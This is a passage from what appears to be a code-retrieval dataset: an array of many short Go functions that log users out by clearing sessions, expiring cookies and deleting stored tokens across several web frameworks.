{\n\t\t// cbs.SessionManager.RemoveSession(uuid)\n\t\tcookiesManager.RemoveCookie(res, CookieName)\n\t} else {\n\t\tlog.Trace(\"Logging out without the cookie\")\n\t}\n}","func (AuthenticationController) Logout(c *gin.Context) {\n\tsession := sessions.Default(c)\n\tsession.Clear()\n\tif sessionErr := session.Save(); sessionErr != nil {\n\t\tlog.Print(sessionErr)\n\t\tutils.CreateError(c, http.StatusInternalServerError, \"Failed to logout.\")\n\t\tc.Abort()\n\t\treturn\n\t}\n\tc.JSON(http.StatusOK, gin.H{\"message\": \"Logged out...\"})\n}","func gwLogout(c *gin.Context) {\n\ts := getHostServer(c)\n\treqId := getRequestId(s, c)\n\tuser := getUser(c)\n\tcks := s.conf.Security.Auth.Cookie\n\tok := s.AuthManager.Logout(user)\n\tif !ok {\n\t\ts.RespBodyBuildFunc(http.StatusInternalServerError, reqId, \"auth logout fail\", nil)\n\t\treturn\n\t}\n\tsid, ok := getSid(s, c)\n\tif !ok {\n\t\ts.RespBodyBuildFunc(http.StatusInternalServerError, reqId, \"session store logout fail\", nil)\n\t\treturn\n\t}\n\t_ = s.SessionStateManager.Remove(sid)\n\tc.SetCookie(cks.Key, \"\", -1, cks.Path, cks.Domain, cks.Secure, cks.HttpOnly)\n}","func (as *AdminServer) Logout(w http.ResponseWriter, r *http.Request) {\n\tsession := ctx.Get(r, \"session\").(*sessions.Session)\n\tdelete(session.Values, \"id\")\n\tFlash(w, r, \"success\", \"You have successfully logged out\")\n\tsession.Save(r, w)\n\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n}","func (am AuthManager) Logout(ctx *Ctx) error {\n\tsessionValue := am.readSessionValue(ctx)\n\t// validate the sessionValue isn't unset\n\tif len(sessionValue) == 0 {\n\t\treturn nil\n\t}\n\n\t// issue the expiration cookies to the response\n\tctx.ExpireCookie(am.CookieNameOrDefault(), am.CookiePathOrDefault())\n\tctx.Session = nil\n\n\t// call the remove handler if one has been provided\n\tif am.RemoveHandler != nil {\n\t\treturn am.RemoveHandler(ctx.Context(), sessionValue)\n\t}\n\treturn nil\n}","func (c *Controller) Logout(ctx context.Context) (err error) {\n\t// Build request\n\treq, err := c.requestBuild(ctx, \"GET\", authenticationAPIName, \"logout\", nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"request building failure: %w\", err)\n\t}\n\t// execute auth request\n\tif err = c.requestExecute(ctx, req, nil, false); err != nil {\n\t\terr = fmt.Errorf(\"executing request failed: %w\", err)\n\t}\n\treturn\n}","func (auth Authenticate) Logout(session *types.Session) error {\n\terr := manager.AccountManager{}.RemoveSession(session, auth.Cache)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func logout(w http.ResponseWriter, r *http.Request) {\n LOG[INFO].Println(\"Executing Logout\")\n clearCache(w)\n cookie, _ := r.Cookie(LOGIN_COOKIE)\n cookie.MaxAge = -1\n cookie.Expires = time.Now().Add(-1 * time.Hour)\n http.SetCookie(w, cookie)\n LOG[INFO].Println(\"Successfully Logged Out\")\n http.Redirect(w, r, \"/welcome\", http.StatusSeeOther)\n}","func (session *Session) Logout() error {\n\treturn session.Delete(session.TenantID)\n}","func (db *MyConfigurations) logout(c echo.Context) error {\n\tfcmToken := c.Request().Header.Get(\"fcm-token\")\n\tdb.GormDB.Where(\"token = ?\", fcmToken).Delete(&models.DeviceToken{})\n\tc.SetCookie(&http.Cookie{\n\t\tName: \"Authorization\",\n\t\tValue: \"\",\n\t\tExpires: time.Now(),\n\t\tMaxAge: 0,\n\t})\n\treturn c.Redirect(http.StatusFound, \"/login\")\n}","func (a Authorizer) Logout(rw http.ResponseWriter, req *http.Request) error {\n\tsession, err := skyring.Store.Get(req, \"session-key\")\n\tif err != nil {\n\t\tlogger.Get().Error(\"Error getting the session. error: %v\", err)\n\t\treturn err\n\t}\n\tsession.Options.MaxAge = -1\n\tif err = session.Save(req, rw); err != nil {\n\t\tlogger.Get().Error(\"Error saving the session. error: %v\", err)\n\t\treturn err\n\t}\n\treturn nil\n}","func (a Authorizer) Logout(rw http.ResponseWriter, req *http.Request) error {\n\tsession, err := skyring.Store.Get(req, \"session-key\")\n\tif err != nil {\n\t\tlogger.Get().Error(\"Error getting the session. error: %v\", err)\n\t\treturn err\n\t}\n\tsession.Options.MaxAge = -1\n\tif err = session.Save(req, rw); err != nil {\n\t\tlogger.Get().Error(\"Error saving the session. error: %v\", err)\n\t\treturn err\n\t}\n\treturn nil\n}","func (m *Model) Logout(ctx context.Context, header string) error {\n\tau, err := m.extractTokenMetadata(header)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = m.authDAO.DeleteByID(ctx, au.ID)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (u *UserController) Logout(c *gin.Context) {\n\trequestID := requestid.Get(c)\n\tau, err := helpers.ExtractTokenMetadata(c.Request, requestID)\n\tif err != nil {\n\t\tlogger.Error(logoutLogTag, requestID, \"Unable to extract token metadata on logout system, error: %+v\", err)\n\t\tc.JSON(http.StatusUnauthorized, \"unauthorized\")\n\t\treturn\n\t}\n\tdeleted, delErr := helpers.DeleteAuth(au.AccessUUID)\n\tif delErr != nil || deleted == 0 {\n\t\tlogger.Error(logoutLogTag, requestID, \"Unable to delete auth on logout system, error: %+v, deleted: %d\", delErr, deleted)\n\t\tc.JSON(http.StatusUnauthorized, \"user already logout\")\n\t\treturn\n\t}\n\tc.JSON(http.StatusOK, \"Successfully logged out\")\n}","func (hc *httpContext) clearSession() {\n\tsession := hc.getSession()\n\tif session == nil {\n\t\treturn\n\t}\n\n\tsession.Values[sv[\"provider\"]] = nil\n\tsession.Values[sv[\"name\"]] = nil\n\tsession.Values[sv[\"email\"]] = nil\n\tsession.Values[sv[\"user\"]] = nil\n\tsession.Values[sv[\"token\"]] = nil\n\n\thc.saveSession(session)\n}","func (cl *APIClient) Logout() *R.Response {\n\trr := cl.Request(map[string]string{\n\t\t\"COMMAND\": \"EndSession\",\n\t})\n\tif rr.IsSuccess() {\n\t\tcl.SetSession(\"\")\n\t}\n\treturn rr\n}","func (c *Client) Logout() error {\n\t_, err := c.Exec(\"logout\")\n\treturn err\n}","func (c UserInfo) Logout() revel.Result {\n\tc.Session.Del(\"DiscordUserID\")\n\tc.Response.Status = 200\n\treturn c.Render()\n}","func (c App) SignOut() revel.Result {\n\tfor k := range c.Session {\n\t\tdelete(c.Session, k)\n\t}\n\treturn c.Redirect(App.Index)\n}","func Logout(c *gin.Context) {\n\ttokenString := util.ExtractToken(c.Request)\n\n\tau, err := util.ExtractTokenMetadata(tokenString)\n\tif err != nil {\n\t\tc.JSON(http.StatusUnauthorized, \"unauthorized\")\n\t\treturn\n\t}\n\n\tdeleted, delErr := util.DeleteAuth(au.AccessUuid)\n\tif delErr != nil || deleted == 0 { //if any goes wrong\n\t\tc.JSON(http.StatusUnauthorized, \"unauthorized\")\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, \"Successfully logged out\")\n}","func (userHandlersImpl UserHandlersImpl) Logout(w http.ResponseWriter, req *http.Request) {\n\n\tresp := \"\"\n\tWriteOKResponse(w, resp)\n\n}","func (bap *BaseAuthProvider) Logout(ctx *RequestCtx) {\n\t// When this is internally called (such as user reset password, or been disabled)\n\t// ctx might be nil\n\tif ctx.Ctx != nil {\n\t\t//delete token cookie, keep uuid cookie\n\t\tWriteToCookie(ctx.Ctx, AuthTokenName, \"\")\n\t}\n\tif ctx.User != nil {\n\t\t(*bap.Mutex).Lock()\n\t\tdelete(bap.TokenCache, ctx.User.Token())\n\t\tbap.TokenToUsername.DelString(ctx.User.Token())\n\t\t(*bap.Mutex).Unlock()\n\t\tlog.Println(\"Logout:\", ctx.User.Username())\n\t}\n}","func (ctrl *UserController) Logout(c *gin.Context) {\n\thttp.SetCookie(c.Writer, &http.Cookie{Path: \"/\", Name: auth.RefreshTokenKey, MaxAge: -1, Secure: true, HttpOnly: true, SameSite: http.SameSiteNoneMode})\n\thttp.SetCookie(c.Writer, &http.Cookie{Path: \"/\", Name: auth.AccessTokenKey, MaxAge: -1, Secure: true, HttpOnly: true, SameSite: http.SameSiteNoneMode})\n\n\tc.JSON(http.StatusOK, utils.Msg(\"Logged out\"))\n}","func (a *OAuthStrategy) Logout() error {\n\taccessToken := a.AccessToken()\n\n\tif accessToken == \"\" {\n\t\treturn nil\n\t}\n\n\tif err := a.OAuthClient.RevokeToken(a.AccessToken()); err != nil {\n\t\treturn err\n\t}\n\n\ta.SetTokens(\"\", \"\")\n\n\treturn nil\n}","func (s *AuthService) Logout(login, refreshToken string) error {\n\terr := s.client.Auth.Logout(login, refreshToken)\n\treturn err\n}","func (a *authSvc) Logout(ctx context.Context) error {\n\taccessUuid, ok := ctx.Value(AccessUuidKey).(string)\n\tif !ok {\n\t\treturn errors.New(\"access uuid not present in context\")\n\t}\n\tdeleted, err := deleteAuth(\"access_token\", accessUuid)\n\tif err != nil || deleted == 0 {\n\t\treturn errors.New(\"not authenticated\")\n\t}\n\trefreshUuid, ok := ctx.Value(RefreshUuidKey).(string)\n\tif !ok {\n\t\treturn errors.New(\"refresh uuid not present in context\")\n\t}\n\tdeleted, err = deleteAuth(\"refresh_token\", refreshUuid)\n\tif err != nil || deleted == 0 {\n\t\treturn errors.New(\"not authenticated\")\n\t}\n\tcookieAccess := getCookieAccess(ctx)\n\tcookieAccess.RemoveToken(\"jwtAccess\")\n\tcookieAccess.RemoveToken(\"jwtRefresh\")\n\treturn nil\n}","func (h *Handler) Logout(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\tcase \"GET\":\n\t\terr := h.Services.User.Logout(Authorized.UUID)\n\t\tif err != nil {\n\t\t\tJsonResponse(w, r, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\t\tJsonResponse(w, r, http.StatusOK, \"success\")\n\tcase \"POST\":\n\tdefault:\n\t\tJsonResponse(w, r, http.StatusBadRequest, \"Bad Request\")\n\t}\n}","func (a *AuthController) Logout(w http.ResponseWriter, r *http.Request) {\n\tsession, err := a.store.Get(r, cookieSession)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n\n\tsession.Values[\"authenticated\"] = false\n\tif err := session.Save(r, w); err != nil {\n\t\tlog.Println(\"[ERROR] error saving authenticated session\")\n\t}\n\n\thttp.Redirect(w, r, \"/\", http.StatusNoContent)\n}","func (router *router) SignOut(w http.ResponseWriter, r *http.Request) {\n\trouter.log.Println(\"request received at endpoint: SignOut\")\n\tif session.IsAuthenticated(w, r) {\n\t\trouter.database.Delete(&schema.Favourite{User: session.GetUser(w, r)})\n\t\tsession.SignOut(w, r)\n\t\trouter.log.Println(\"sign out completed redirecting to home page\")\n\t} else {\n\t\trouter.log.Println(\"Not signed in to sign out, redirecting to home page\")\n\t}\n\n\tHomePage(w, r)\n\treturn\n}","func (c *UCSClient) Logout() {\n\tif c.IsLoggedIn() {\n\t\tc.Logger.Debug(\"Logging out\\n\")\n\t\treq := ucs.LogoutRequest{\n\t\t\tCookie: c.cookie,\n\t\t}\n\t\tpayload, err := req.Marshal()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tc.Post(payload)\n\t\tc.cookie = \"\"\n\t\tc.outDomains = \"\"\n\t}\n\tc.Logger.Info(\"Logged out\\n\")\n}","func logoutGuest(w http.ResponseWriter, r *http.Request) {\n\n\tif r.Method == \"POST\" {\n\t\tusername := template.HTMLEscapeString(r.FormValue(\"username\"))\n\t\tpassword := template.HTMLEscapeString(r.FormValue(\"password\"))\n\n\t\tif password != \"\" && strings.Contains(username, \"guest\") && gostuff.SessionManager[username] == password {\n\t\t\tdelete(gostuff.SessionManager, username)\n\t\t}\n\t}\n}","func (s *Server) handleLogout(w http.ResponseWriter, req *http.Request) error {\n\t// Intentionally ignore errors that may be caused by the stale session.\n\tsession, _ := s.cookieStore.Get(req, UserSessionName)\n\tsession.Options.MaxAge = -1\n\tdelete(session.Values, \"hash\")\n\tdelete(session.Values, \"email\")\n\t_ = session.Save(req, w)\n\tfmt.Fprintf(w, `Log in`)\n\treturn nil\n}","func (a *localAuth) Logout(c echo.Context) error {\n\treturn a.logout(c)\n}","func Logout(w http.ResponseWriter, r *http.Request) {\n\t// TODO JvD: revoke the token?\n\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n}","func (c *Client) Logout(ctx context.Context, authToken *base64.Value) error {\n\treturn c.transport.Logout(ctx, authToken)\n}","func AuthPhoneLogout(ctx context.Context) {\n\t// nothing to do here since stateless session\n\t// needs to be handled on the client\n\t// when there's a refresh token, we'll kill it\n}","func Logout(c *gin.Context) {\n\tc.SetCookie(\"token\", \"\", -1, \"\", \"\", false, true)\n\n\tc.Redirect(http.StatusTemporaryRedirect, \"/\")\n}","func restLogout(w *rest.ResponseWriter, r *rest.Request) {\n\tglog.V(2).Info(\"restLogout() called.\")\n\t// Read session cookie and delete session\n\tcookie, err := r.Request.Cookie(sessionCookie)\n\tif err != nil {\n\t\tglog.V(2).Info(\"Unable to read session cookie\")\n\t} else {\n\t\tdeleteSessionT(cookie.Value)\n\t\tglog.V(2).Infof(\"Deleted session %s for explicit logout\", cookie.Value)\n\t}\n\n\t// Blank out all login cookies\n\twriteBlankCookie(w, r, auth0TokenCookie)\n\twriteBlankCookie(w, r, sessionCookie)\n\twriteBlankCookie(w, r, usernameCookie)\n\tw.WriteJson(&simpleResponse{\"Logged out\", loginLink()})\n}","func (s *ServerConnection) Logout() error {\n\t_, err := s.CallRaw(\"Session.logout\", nil)\n\treturn err\n}","func (s LoginSession) Clear() error {\n\treq := &request{\n\t\turl: \"https://www.reddit.com/api/clear_sessions\",\n\t\tvalues: &url.Values{\n\t\t\t\"curpass\": {s.password},\n\t\t\t\"uh\": {s.modhash},\n\t\t},\n\t\tuseragent: s.useragent,\n\t}\n\tbody, err := req.getResponse()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !strings.Contains(body.String(), \"all other sessions have been logged out\") {\n\t\treturn errors.New(\"failed to clear session\")\n\t}\n\treturn nil\n}","func (user *User) Logout() error {\n\tuser.IsOnline = false\n\tuser.LimitationPeriod = time.Now()\n\treturn nil\n}","func (client *Client) Logout() error {\n\t_, err := client.SendQuery(NewLogoutQuery())\n\treturn err\n}","func Logout(_ *gorm.DB, rc *redis.Client, _ http.ResponseWriter, r *http.Request, s *status.Status) (int, error) {\n\tctx := context.Background()\n\trequestUsername := getVar(r, model.UsernameVar)\n\tclaims := GetTokenClaims(ExtractToken(r))\n\ttokenUsername := fmt.Sprintf(\"%v\", claims[\"sub\"])\n\tif tokenUsername != requestUsername {\n\t\ts.Message = status.LogoutFailure\n\t\treturn http.StatusForbidden, nil\n\t}\n\ts.Code = status.SuccessCode\n\ts.Message = status.LogoutSuccess\n\trc.Del(ctx, \"access_\"+requestUsername)\n\treturn http.StatusOK, nil\n}","func (s *RestStore) ClearSession(w http.ResponseWriter, r *http.Request) {\n\tw.WriteHeader(http.StatusUnauthorized)\n\terrMsg := `\n\t{\n\t\t\"error\": \"invalid_token\",\n\t\t\"token_type\": \"Bearer\",\n\t\t\"error_description\": \"The token has expired.\"\n\t}`\n\tw.Write([]byte(errMsg))\n}","func Logout(c echo.Context) error {\n\tuser := c.Get(\"user\").(*jwt.Token)\n\tclaims := user.Claims.(jwt.MapClaims)\n\tusername := claims[\"name\"].(string)\n\n\terr := db.UpdateUserLoggedIn(username, false)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusInternalServerError, \"Error logging out user\")\n\t}\n\n\treturn c.JSON(http.StatusOK, \"User logged out successfully\")\n}","func (dsm DSM) EndSession() {\n\turl := fmt.Sprintf(\"%sauthentication/logout\", dsm.RestURL)\n\t_, err := grequests.Delete(url, &grequests.RequestOptions{HTTPClient: &dsm.RestClient, Params: map[string]string{\"sID\": dsm.SessionID}})\n\n\tif err != nil {\n\t\tlog.Println(\"Unable to make request\", err)\n\t}\n\n}","func (connection *VSphereConnection) Logout(ctx context.Context) {\n\tclientLock.Lock()\n\tc := connection.Client\n\tclientLock.Unlock()\n\tif c == nil {\n\t\treturn\n\t}\n\n\tm := session.NewManager(c)\n\n\thasActiveSession, err := m.SessionIsActive(ctx)\n\tif err != nil {\n\t\tklog.Errorf(\"Logout failed: %s\", err)\n\t\treturn\n\t}\n\tif !hasActiveSession {\n\t\tklog.Errorf(\"No active session, cannot logout\")\n\t\treturn\n\t}\n\tif err := m.Logout(ctx); err != nil {\n\t\tklog.Errorf(\"Logout failed: %s\", err)\n\t}\n}","func Logout(session *Session) error {\n\tif err := cache.Execute(session.Del); err != nil {\n\t\tlogger.Error(\"Logout.DelSessionError\",\n\t\t\tlogger.String(\"Session\", session.String()),\n\t\t\tlogger.Err(err),\n\t\t)\n\t\treturn err\n\t}\n\treturn nil\n}","func (a *noAuth) Logout(c echo.Context) error {\n\treturn a.logout(c)\n}","func (c *controller) Logout(ctx context.Context, request *web.Request) web.Result {\n\treturn c.service.LogoutFor(ctx, request.Params[\"broker\"], request, nil)\n}","func UserLogout(u *User) {\n\tconnectedUsers.remove(u.Name)\n}","func Logout(r *http.Request) error {\n\n\tvar session models.Session\n\n\tCookie, err := r.Cookie(CookieKey)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc := Controller{}\n\tdata, err := c.Load(r)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsession.UUID = Cookie.Value\n\n\tvar updated []models.Session\n\tfor _, s := range data.Sessions {\n\t\tif s.UUID == session.UUID {\n\t\t} else {\n\t\t\tupdated = append(updated, s)\n\t\t}\n\t}\n\n\terr = c.StoreSessions(updated, r)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (a *Server) LogoutUser(w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"logout a user\")\n}","func signOut(w http.ResponseWriter, r *http.Request) {\n\tlogoutUser(w, r)\n\tresp := map[string]interface{}{\n\t\t\"success\": true,\n\t}\n\tapiResponse(resp, w)\n}","func logoutHandler(res http.ResponseWriter, req *http.Request) {\n\tdefer server.LogRequest(req, http.StatusFound)\n\n\tsession.Destroy(req, res)\n\trenderBaseTemplate(res, \"logout.html\", nil)\n}","func logout(c *gin.Context) {\n\ttoken := c.GetHeader(\"Token\")\n\tid := c.Query(\"id\")\n\tsqlStatement := `DELETE FROM player_token WHERE player_id = $1 AND token = $2`\n\t_, err := db.Exec(sqlStatement, id, token)\n\tif handleError(err, c) {\n\t\treturn\n\t}\n\tc.Status(http.StatusOK)\n}","func logoutHandler(w http.ResponseWriter, r *http.Request, _ map[string]string) {\n\tsessionHandler.ClearSession(w, r)\n\treturn\n}","func Logout(res http.ResponseWriter, req *http.Request) {\n\ttokenID := req.Context().Value(\"tokenID\").(string)\n\tresponse := make(map[string]interface{})\n\tmsg := constants.Logout\n\t_, err := connectors.RemoveDocument(\"tokens\", tokenID)\n\tif err != nil {\n\t\trender.Render(res, req, responses.NewHTTPError(http.StatusServiceUnavailable, constants.Unavailable))\n\t\treturn\n\t}\n\tresponse[\"message\"] = msg\n\trender.Render(res, req, responses.NewHTTPSucess(http.StatusOK, response))\n}"],"string":"[\n \"func Logout(c *gin.Context) {\\n\\tsession := sessions.Default(c)\\n\\tsession.Delete(\\\"user\\\");\\n\\tsession.Save();\\n\\tc.JSON(200, gin.H{\\n\\t\\t\\\"success\\\": true,\\n\\t})\\n}\",\n \"func logout(w http.ResponseWriter, r *http.Request) {\\n\\n\\tsession := sessions.Start(w, r)\\n\\tsession.Clear()\\n\\tsessions.Destroy(w, r)\\n\\thttp.Redirect(w, r, \\\"/\\\", 302)\\n\\n}\",\n \"func logout(c *gin.Context) {\\n\\t//Give the user a session\\n\\tsession := sessions.Default(c)\\n\\tclearSession(&session)\\n\\n\\tc.Redirect(http.StatusFound, \\\"/\\\")\\n}\",\n \"func Logout(w http.ResponseWriter, r *http.Request) {\\n\\tPrintln(\\\"Endpoint Hit: Logout\\\")\\n\\n\\tsession := sessions.Start(w, r)\\n\\tsession.Clear()\\n\\tsessions.Destroy(w, r)\\n\\thttp.Redirect(w, r, \\\"/\\\", 302)\\n}\",\n \"func Logout(res http.ResponseWriter, req *http.Request) error {\\n\\tsession, err := Store.Get(req, SessionName)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tsession.Options.MaxAge = -1\\n\\tsession.Values = make(map[interface{}]interface{})\\n\\terr = session.Save(req, res)\\n\\tif err != nil {\\n\\t\\treturn errors.New(\\\"Could not delete user session \\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func Logout(rw http.ResponseWriter, request *http.Request) {\\n\\n\\tlog.Println(\\\"call Logout\\\")\\n\\n\\t// Cookieからセッション情報取得\\n\\tsessionID, err := request.Cookie(sessionIDName)\\n\\tif err != nil {\\n\\t\\t// セッション情報取得に失敗した場合TOP画面に遷移\\n\\t\\tlog.Println(\\\"Cookie 取得 失敗\\\")\\n\\t\\tlog.Println(err)\\n\\t\\t// Cookieクリア\\n\\t\\tclearCookie(rw)\\n\\t\\thttp.Redirect(rw, request, \\\"/index\\\", http.StatusFound)\\n\\t\\treturn\\n\\t}\\n\\tlog.Println(\\\"Cookie 取得 成功\\\")\\n\\tlog.Println(\\\"セッション情報:\\\", sessionID.Value)\\n\\n\\t// セッション情報を削除\\n\\tdbm := db.ConnDB()\\n\\t_, err = dbm.Exec(\\\"delete from sessions where sessionID = ?\\\", sessionID.Value)\\n\\tif err != nil {\\n\\t\\tlog.Println(\\\"セッション 削除 失敗\\\")\\n\\t} else {\\n\\t\\tlog.Println(\\\"セッション 削除 成功\\\")\\n\\t\\tlog.Println(\\\"削除したセッションID:\\\", sessionID.Value)\\n\\t}\\n\\n\\t// CookieクリアしてTOP画面表示\\n\\tclearCookie(rw)\\n\\thttp.Redirect(rw, request, \\\"/index\\\", http.StatusFound)\\n}\",\n \"func UserLogout(w http.ResponseWriter, r *http.Request) {\\n\\t_ = SessionDel(w, r, \\\"user\\\")\\n\\tutils.SuccessResponse(&w, \\\"登出成功\\\", \\\"\\\")\\n}\",\n \"func logout(w http.ResponseWriter, r *http.Request) {\\n\\tsession, err := store.Get(r, \\\"auth\\\")\\n\\tif err != nil {\\n\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\n\\tsession.Values[\\\"user\\\"] = User{}\\n\\tsession.Options.MaxAge = -1\\n\\n\\terr = session.Save(r, w)\\n\\tif err != nil {\\n\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\n\\tlogRequest(r)\\n}\",\n \"func Logout(ctx echo.Context) error {\\n\\tif _, ok := ctx.Get(\\\"User\\\").(*models.Person); ok {\\n\\t\\tutils.DeleteSession(ctx, settings.App.Session.Lang)\\n\\t\\tutils.DeleteSession(ctx, settings.App.Session.Flash)\\n\\t\\tutils.DeleteSession(ctx, settings.App.Session.Name)\\n\\t}\\n\\tctx.Redirect(http.StatusFound, \\\"/\\\")\\n\\treturn nil\\n}\",\n \"func (authentication *Authentication) ClearSession(res http.ResponseWriter, req *http.Request) {\\n\\tcookie, _ := cookies.GetCookie(req, \\\"session\\\")\\n\\t// delete the session\\n\\tdelete(authentication.loginUser, authentication.userSession[cookie.Value].email)\\n\\tdelete(authentication.userSession, cookie.Value)\\n\\t// remove the cookie\\n\\tcookie = &http.Cookie{\\n\\t\\tName: \\\"session\\\",\\n\\t\\tValue: \\\"\\\",\\n\\t\\tPath: \\\"/\\\",\\n\\t\\tMaxAge: -1,\\n\\t}\\n\\thttp.SetCookie(res, cookie)\\n\\n\\t// clean up dbSessions\\n\\tif time.Now().Sub(sessionsCleaned) > (time.Second * 30) {\\n\\t\\tfor sessionID, session := range authentication.userSession {\\n\\t\\t\\tif time.Now().Sub(session.lastActivity) > (time.Second * 30) {\\n\\t\\t\\t\\tdelete(authentication.loginUser, session.email)\\n\\t\\t\\t\\tdelete(authentication.userSession, sessionID)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tsessionsCleaned = time.Now()\\n\\t}\\n}\",\n \"func logout(res http.ResponseWriter, req *http.Request) {\\n sess := session.Get(req)\\n\\n session.Remove(sess, res)\\n sess = nil\\n\\n return\\n http.Redirect(res, req, \\\"/login\\\", 301)\\n}\",\n \"func Clear(c echo.Context) error {\\n\\ts, _ := Get(c)\\n\\tusername := s.Values[\\\"username\\\"]\\n\\tdelete(s.Values, \\\"authenticated\\\")\\n\\tdelete(s.Values, \\\"username\\\")\\n\\tdelete(s.Values, \\\"userinfo\\\")\\n\\n\\t// delete client cookie\\n\\ts.Options.MaxAge = -1\\n\\n\\terr := s.Save(c.Request(), c.Response())\\n\\tif err != nil {\\n\\t\\tglog.Errorf(\\\"Failed to save session: %v\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\tglog.V(2).Infof(\\\"user '%s' logged out\\\", username)\\n\\treturn nil\\n}\",\n \"func Logout(r *http.Request) {\\n\\ts := getSessionFromRequest(r)\\n\\tif s.ID == 0 {\\n\\t\\treturn\\n\\t}\\n\\n\\t// Store Logout to the user log\\n\\tfunc() {\\n\\t\\tlog := &Log{}\\n\\t\\tlog.SignIn(s.User.Username, log.Action.Logout(), r)\\n\\t\\tlog.Save()\\n\\t}()\\n\\n\\ts.Logout()\\n\\n\\t// Delete the cookie from memory if we sessions are cached\\n\\tif CacheSessions {\\n\\t\\tdelete(cachedSessions, s.Key)\\n\\t}\\n\\n\\tIncrementMetric(\\\"uadmin/security/logout\\\")\\n}\",\n \"func Logout(app *aero.Application, authLog *log.Log) {\\n\\tapp.Get(\\\"/logout\\\", func(ctx aero.Context) error {\\n\\t\\tif ctx.HasSession() {\\n\\t\\t\\tuser := arn.GetUserFromContext(ctx)\\n\\n\\t\\t\\tif user != nil {\\n\\t\\t\\t\\tauthLog.Info(\\\"%s logged out | %s | %s | %s | %s\\\", user.Nick, user.ID, ctx.IP(), user.Email, user.RealName())\\n\\t\\t\\t}\\n\\n\\t\\t\\tctx.Session().Delete(\\\"userId\\\")\\n\\t\\t}\\n\\n\\t\\treturn ctx.Redirect(http.StatusTemporaryRedirect, \\\"/\\\")\\n\\t})\\n}\",\n \"func (u *Users) LogOut() {\\n\\tu.deauthorizeUser()\\n\\tu.serveAJAXSuccess(nil)\\n}\",\n \"func Logout(w http.ResponseWriter, req *http.Request) {\\n\\tif !requirePost(w, req) {\\n\\t\\tlog.Warn(\\\"Logout request should use POST method\\\")\\n\\t\\treturn\\n\\t}\\n\\tif !requireAuth(w, req) {\\n\\t\\tlog.Warn(\\\"Logout request should be authenticated\\\")\\n\\t\\treturn\\n\\t}\\n\\tsid := req.Context().Value(auth.SESSION_ID).(string)\\n\\terr := storage.DeleteSession(sid)\\n\\tif err != nil {\\n\\t\\tlog.Error(err)\\n\\t}\\n\\tconf.RedirectTo(\\\"/\\\", \\\"\\\", w, req)\\n}\",\n \"func logout(w http.ResponseWriter, r *http.Request) {\\n\\n\\tif isAuthorized(w, r) {\\n\\t\\tusername, _ := r.Cookie(\\\"username\\\")\\n\\t\\tdelete(gostuff.SessionManager, username.Value)\\n\\t\\tcookie := http.Cookie{Name: \\\"username\\\", Value: \\\"0\\\", MaxAge: -1}\\n\\t\\thttp.SetCookie(w, &cookie)\\n\\t\\tcookie = http.Cookie{Name: \\\"sessionID\\\", Value: \\\"0\\\", MaxAge: -1}\\n\\t\\thttp.SetCookie(w, &cookie)\\n\\t\\tw.Header().Set(\\\"Cache-Control\\\", \\\"no-cache, no-store, must-revalidate\\\")\\n\\t\\thttp.ServeFile(w, r, \\\"index.html\\\")\\n\\t}\\n}\",\n \"func (c *Client) Logout(ctx context.Context) error {\\n\\treq := c.Resource(internal.SessionPath).Request(http.MethodDelete)\\n\\treturn c.Do(ctx, req, nil)\\n}\",\n \"func (s *Subject) Logout() {\\n\\tif s.Session != nil {\\n\\t\\ts.Session.Clear()\\n\\t}\\n}\",\n \"func (a *Auth) Logout(w http.ResponseWriter, r *http.Request) {\\n\\tu := a.userstate.Username(r)\\n\\ta.userstate.Logout(u)\\n\\ta.userstate.ClearCookie(w)\\n\\ta.userstate.RemoveUser(u)\\n\\tutil.OK(w, r)\\n}\",\n \"func (u *MyUserModel) Logout() {\\n\\t// Remove from logged-in user's list\\n\\t// etc ...\\n\\tu.authenticated = false\\n}\",\n \"func (uh *UserHandler) Logout(w http.ResponseWriter, r *http.Request) {\\n\\tnewSession := uh.configSess()\\n\\tcookie, _ := r.Cookie(newSession.SID)\\n\\n\\tsession.Remove(newSession.SID, w)\\n\\tuh.SService.DeleteSession(cookie.Value)\\n\\thttp.Redirect(w, r, \\\"/Login\\\", http.StatusSeeOther)\\n}\",\n \"func (s *Session) Logout() error { return nil }\",\n \"func (avisess *AviSession) Logout() error {\\n\\turl := avisess.prefix + \\\"logout\\\"\\n\\treq, _ := avisess.newAviRequest(\\\"POST\\\", url, nil, avisess.tenant)\\n\\t_, err := avisess.client.Do(req)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func logout(w http.ResponseWriter,r *http.Request){\\n\\tsession,err:=store.Get(r,\\\"cookie-name\\\")\\n\\tif err!=nil{\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tsession.Values[\\\"user\\\"]=user{}\\n\\tsession.Options.MaxAge=-1\\n\\n\\terr=session.Save(r,w)\\n\\tif err!=nil{\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\thttp.Redirect(w,r,\\\"/\\\",http.StatusFound)\\n}\",\n \"func (u *User) Logout() {\\n\\t// Remove from logged-in user's list\\n\\t// etc ...\\n\\tu.authenticated = false\\n}\",\n \"func (u *USER_DB) Logout() {\\n\\t// Remove from logged-in user's 